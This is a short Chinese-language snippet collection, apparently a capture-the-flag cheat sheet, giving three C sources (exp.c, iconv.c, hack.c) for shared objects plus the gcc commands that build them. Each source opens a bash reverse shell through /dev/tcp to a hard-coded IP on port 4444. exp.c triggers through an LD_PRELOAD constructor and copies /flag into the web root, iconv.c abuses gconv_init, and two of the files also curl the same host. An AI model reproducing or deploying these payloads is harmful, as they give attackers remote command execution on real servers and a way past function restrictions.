常用的so文件c源码
exp.c
代码语言:javascript复制#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
unsetenv("LD_PRELOAD");
char str[65536];
system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
system("cat /flag > /var/www/html/flag");
}
代码语言:javascript复制gcc exp.c -fPIC -shared -o exp.so
iconv.c
代码语言:javascript复制#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
void gconv()
{
}
void gconv_init(void *step)
{
system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
system("curl http://47.99.70.18:4444");
exit(0);
}
代码语言:javascript复制gcc iconv.c -shared -fPIC -o iconv.so
hack.c
代码语言:javascript复制#include <stdlib.h>
#include <string.h>
int main(){
system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
system("curl http://47.99.70.18:4444");
return 0;
}
代码语言:javascript复制gcc hack.c -o hack.so